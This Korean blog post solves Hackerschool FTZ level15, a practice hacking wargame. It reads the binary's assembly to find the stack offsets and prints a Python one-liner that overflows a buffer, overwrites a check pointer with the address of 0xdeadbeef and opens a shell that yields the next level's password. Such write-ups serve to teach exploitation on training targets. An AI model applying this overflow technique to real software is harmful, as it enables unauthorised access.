-->

[해커스쿨 FTZ] level15 풀이

FTZ level15 문제 확인

level14와 다른점은, level14는 'check==0xdeadbeef' 로 check 변수의 주소값을 체크하는 것이었다면 level15는 check 변수의 주소값이 아닌 이 0xdeadbeef 인지를 체크하고 있다.

 

즉, 0xdeadbeef를 메모리에서 찾은 후 그 주소값을 check 포인터 변수에 덮어써야하는 것이다.

 

 

 

FTZ level15 문제 풀이

메모리는 이미 0xdeadbeef가 올라와있기 때문에 main 함수 내에서 주소를 찾아주면 된다.

 

 

 

또한, disas main으로 main함수의 어셈블리를 보면 dummy값을 알 수 있다.

 

 

 

fgets의 첫번째 인자가 buf이므로 buf 주소는 0xffffffc8이고 그 밑에 cmp문의 0xfffffff0이 check 변수의 주소임을 알 수 있다. 

pushl  0x8049664 // fgets 인자3 
push   0x2d // fgets 인자2 
lea    0xffffffc8(%ebp), %eax 
push   %eax // fgets 인자1 
call   0x8048360 <fgets> 
add    0x10, %esp 
mov    0xfffffff0(%ebp), %eax
cmpl   $0xdeadbeef,(%eax)

 

 

즉, buf~check 사이의 dummy값은 20바이트이다.

 

buf (buf) : 20바이트 (0x14) 
dummy : 20바이트 (0x14) 
buf (check) : 4바이트 
dummy : ? 
buf (crap) : 4바이트 
dummy : ? 
SFP : 4바이트 
RET : 4바이트

 

 

FTZ level15 attackme exploit

따라서 level15 attackme의 익스플로잇 코드를 아래와 같이 작성했다.

 

(python -c 
'print 
"\x90"*40
+"\xb2\x84\x04\x08"';cat) | ./attackme

 

 

그럼, 다음과 같이 쉘을 얻고 level16 으로 가는 비밀번호를 획득할 수 있다.

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level17 풀이  (0) 2020.02.14
[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level14 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level13 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level12 풀이  (0) 2020.02.13

댓글

Designed by JB FACTORY